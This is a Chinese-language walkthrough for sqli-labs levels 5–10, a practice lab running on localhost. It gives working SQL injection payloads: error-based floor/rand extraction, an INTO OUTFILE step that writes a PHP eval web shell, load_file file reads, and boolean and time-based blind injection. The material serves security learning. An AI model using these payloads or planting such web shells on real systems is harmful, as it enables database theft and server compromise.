sqli-labs详细通关指南(5~10关)

Lesson5 单引号二次注入

这个网页可能只提示错误,不显示正确信息。

所以思路为利用错误提示信息来暴露数据库内的数据。

这种SQL子查询注入主要目的是,构造一种语法正确(在编译时是正确的)而运行时会出错的查询语句,创建一个查询,产生注入,但在由于运行时出现错误,页面会返回错误信息,从而获取其中的有用信息。因此,一些天才的研究人员发现,可以使用聚合函数,group by子句,并利用随机函数,这样在运行时会有几率产生错误,从而达到目的。

直接把sql注入语句发出来吧:

http://127.0.0.1/s/Less-5/?id=1′ and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1%23

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如 果该key不存在于临时表中,则在临时表中插入key所在行的数据。)group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能 为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值不一致,导致插入时与原本已存在的产生冲突的错误。

这就是前面提到的“构造一种语法正确(在编译时是正确的)而运行时会出错的查询语句”

我们就是上述方法,在只能产生错误信息,不产生正确信息的网页进行攻击。对数据库的探测返回信息包含在错误信息提示中。

还可以参考:关于Mysql注入过程中的五种报错方式及具体利用案例

limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n
是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录

Lesson6 双引号二次注入

http://127.0.0.1/s/Less-6/?id=1″ and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1%23

同上

Lesson7 写入文件

采用into outfile 进行文件写入

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,'<?php
eval($_POST[“chopper”]);?>’,3 into outfile
‘C:/wamp/www/q.php’%23

Load_file进行文件读取

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,load_file(“C:/wamp/www/s/Less-7/result.txt”),3
into outfile ‘C:/wamp/www/1.txt’%23

Lesson8  盲注

在特定的Web应用程序中,你可以亲眼目睹该数据库不显示任何事物在网页上或在某种方式联合注入不显示,MySQL的错误也不会显示在页面上,所以在技术上没有通过任何直接的渠道把数据库回显写在网页上。在这种情况下,剩下的唯一选择是使用盲注。

一般来说,当我们处理基于错误的注入时,我们可以问数据库的这样或者那样的问题,可以通过数据库给出的错误信息去获取数据库的名称,版本,表名等。但是盲注的情况下,我们需要改变我们提问到数据库的方式,提另一种方式的问题,比如:M是在这个数据库的第一个字母吗?然后判断数据库回答出来的是或否或真或假。

让我们来向数据库提问些问题,如数据库的第一个字符是否是什么,如果数据库的第一个字符是S,他就会返回一个是真的回答。如果第二个字符是A,那么数据库
会的回答将会是假,因为A不属于数据库的名字,但是E也会返回真。现在我们用另一种技术,我们可以通过这种技术来改变我们查询的方法和她返回的方法。有一
个可以将字符串截断为几个部分的函数,他叫做substr

substr(string,start,length)
string – 指定的要截取的字符串。
start –
必需,规定在字符串的何处开始。正数在字符串的指定位置开始,负数在从字符串结尾的指定位置开始,0 – 在字符串中的第一个字符处开始。
length –
可选,指定要截取的字符串长度,缺省时返回字符表达式的值结束前的全部字符。

例如:select substr(‘abcdefg’,3,4) from dual; 结果是cdef
            select
substr(‘abcdefg’,-3,4) from dual;
结果efg

注意:字符串中的第一个位置始终为1。以下两个sql查询的结果相同:

例如:select substr(‘abcdefg’,0,3) from dual; 结果是abc

            select
substr(‘abcdefg’,1,3) from dual; 结果是abc

然后我们来认识一个叫做ASCII的新函数。这个函数可以用来将字符串转化为ASCII值。如E 的ascii码为101.

1.Less-8/?id=1,显示You are in….

2.Less-8/?id=1’ ,不显示错误。但无返回信息。

3.Less-8/?id=1\ ,不显示错误。但无返回信息。

4.Less-8/?id=1’ and ‘0 ,不显示错误,但无返回信息。

5.Less-8/?id=1’ and ‘1 ,显示You are in

6.Less-8/?id=1’ or ‘0 ,显示You are in

7.Less-8/?id=0’ or ‘0 ,不显示错误,但无返回信息。 

8.Less-8/?id=1’ —+,显示You are in…

9.Less-8/?id=1’ AND 1 > 2—+,不显示错误,但无返回信息。

10.Less-8/?id=1’ AND 1< 0 —+.显示You are in…

11.mysql客户端,输入:
select length(database());
返回8

12.mysql客户端,输入:select
database();
返回security

13.mysql客户端,输入:select
substr(database(),1,1);
返回从第一字符开始长度为1的字符串。返回s.

14.mysql客户端,输入:select
ascii(substr(database(),1,1));
返回115。即s对应的ascii值。

15.mysql客户端,输入:select
ascii(substr(database(),2,1))=101;
返回1。即该查询是正确的。

16.mysql客户端,输入:select
ascii(substr(database(),3,1))<100;
返回1

17.mysql客户端,输入:select
ascii(substr((select version()),1,1))= 5;
返回0

18.Less-8/?id=1’ AND (ascii(substr((select
database()),3,1)))=99%23
,显示You are in…..

19.Less-8/?id=1′ AND (ascii(substr((select
table_name from information_schema.tables where table_schema=database()limit
0,1),1,1)))=101 %23
,显示You are in…..。这意味着为真。

Lesson9  基于时间的盲注

在盲注(blind SQL injection)时,如果不同SQL injection 指令的结果,无法由 HTTP Response 本身得知,那么可以用时间差的方式判断。可以设计一个很耗时的 SQL 指令,这时如果 SQL injection 成功,那么这个SQL injection 指令的执行结果,会影响到 Web server 回复 HTTP response 的速度,这个就可以用来判断 SQL injection 指令执行的结果。

常用函数:sleep

输入?id=1 and if( (ascii(substr((select
database()),1,1)))=112,sleep(2),null) %23
页面显示you are in..

输入?id=1″ and if( (ascii(substr((select
database()),1,1)))=112,sleep(2),null) %23
页面显示you are in..

?id=%0 and if( (ascii(substr((select
database()),1,1)))=112,sleep(2),null) %23
页面显示you are in…

说明无论输入正确与否都只显示you are in

输入?id=1′
and if(1=1,sleep(2),null) %23if里面第一个是条件,第二个参数是符合条件的时候取到值,第三个是不符合条件时的取值。)

有延迟,说明存在注入,可以用基于时间的盲注

http://127.0.0.1/sqli-labs-master/Less-9/?id=1′
and if( (ascii(substr((select database()),1,1)))=115,sleep(2),null) %23

如果当前数据库的第一个字符的ascii码是115,则有两秒延时。错误则没有。

其他与less-8 相似。

 

Lesson10  基于时间的盲注 双引号

同上 用双引号进行闭合即可。